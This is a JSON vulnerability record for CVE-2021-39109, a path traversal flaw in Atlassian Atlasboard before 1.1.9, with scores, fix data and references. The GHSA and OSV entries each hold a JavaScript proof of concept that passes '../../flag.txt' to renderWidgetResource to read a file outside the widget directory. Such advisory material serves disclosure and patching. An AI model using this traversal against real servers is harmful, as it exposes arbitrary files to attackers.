{"id":"CVE-2021-39109","aliases":["EUVD-2021-1946","GHSA-25pr-6pr6-68v7"],"status":"published","title":"Path traversal in atlasboard","description":"The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-12","score":0.01669,"percentile":0.77111,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2021-09-01T05:20:10Z","modified":"2026-06-17T04:03:05Z","fixes":[{"ecosystem":"npm","package":"atlasboard","fixed_in":["1.1.9"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"atlasboard","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.9"}]}]},{"source":"osv","ecosystem":"npm","package":"atlasboard","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.1.9"}]}]}],"products":[{"vendor":"atlassian","product":"atlasboard"}],"references":[{"url":"https://bitbucket.org/atlassian/atlasboard/commits/9c03df09f09399e2601010466e8ba3a28236eb9c","tags":["x_refsource_MISC","x_transferred","Patch","Vendor Advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-39109","tags":["advisory"]},{"url":"https://bitbucket.org/atlassian/atlasboard/pull-requests/91/buildeng-19379-apply-only-the-path","tags":["web"]},{"url":"https://arxiv.org/abs/2506.04962","tags":["web"]},{"url":"https://arxiv.org/pdf/2506.04962","tags":["web"]},{"url":"https://github.com/advisories/GHSA-25pr-6pr6-68v7"},{"url":"https://bitbucket.org/atlassian/atlasboard/src/master","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2021-39109","description":"The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.","status":"published","published":"2021-09-01T05:20:10.119Z","modified":"2024-10-11T19:08:51.789Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"adp"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:33:09.175141Z"}],"euvd":[{"id":"EUVD-2021-1946","description":"The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.","status":"published","published":"2021-09-01T05:20:10Z","modified":"2024-10-11T19:08:51Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-03T00:27:38.618953Z"}],"ghsa":[{"id":"GHSA-25pr-6pr6-68v7","title":"Path traversal in atlasboard","description":"The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.\n\n### PoC\n```javascript\nconst widget = require(\\\"atlasboard/lib/webapp/routes/widget\\\");\n\n// Mock req and res\nconst req = {};\nconst res = {\n  sendFile: (filePath) =\u003e {\n    // Read and return file contents synchronously\n    const data = fs.readFileSync(filePath, \\\"utf8\\\");\n    console.log(\\\"Contents of /flag.txt:\\\");\n    console.log(data);\n  },\n  status: function (code) {\n    this.statusCode = code;\n    return this;\n  },\n  send: function (msg) {\n    throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);\n  },\n};\n\n// localPackagesPath set to root to allow traversal to /flag.txt\nconst localPackagesPath = \\\"/\\\";\n\n// resource string with path traversal to escape localPackagesPath and widgets directory\nconst resource = \\\"../../flag.txt\\\";\n\n// Call vulnerable function\nawait widget.renderWidgetResource(localPackagesPath, resource, req, res);\n```","status":"published","published":"2021-09-02T17:17:25Z","modified":"2025-09-29T16:41:06Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:38:59.83883Z"}],"nvd":[{"id":"CVE-2021-39109","description":"The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.","status":"published","published":"2021-09-01T06:15:06.583Z","modified":"2026-06-17T04:03:05.147Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"},{"version":"2.0","score":5,"vector":"AV:N/AC:L/Au:N/C:P/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:06:57.67549Z"}],"osv":[{"id":"GHSA-25pr-6pr6-68v7","title":"Path traversal in atlasboard","description":"The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.\n\n### PoC\n```javascript\nconst widget = require(\\\"atlasboard/lib/webapp/routes/widget\\\");\n\n// Mock req and res\nconst req = {};\nconst res = {\n  sendFile: (filePath) =\u003e {\n    // Read and return file contents synchronously\n    const data = fs.readFileSync(filePath, \\\"utf8\\\");\n    console.log(\\\"Contents of /flag.txt:\\\");\n    console.log(data);\n  },\n  status: function (code) {\n    this.statusCode = code;\n    return this;\n  },\n  send: function (msg) {\n    throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);\n  },\n};\n\n// localPackagesPath set to root to allow traversal to /flag.txt\nconst localPackagesPath = \\\"/\\\";\n\n// resource string with path traversal to escape localPackagesPath and widgets directory\nconst resource = \\\"../../flag.txt\\\";\n\n// Call vulnerable function\nawait widget.renderWidgetResource(localPackagesPath, resource, req, res);\n```","status":"published","published":"2021-09-02T17:17:25Z","modified":"2025-09-29T16:41:02Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:33.956911Z"}]}}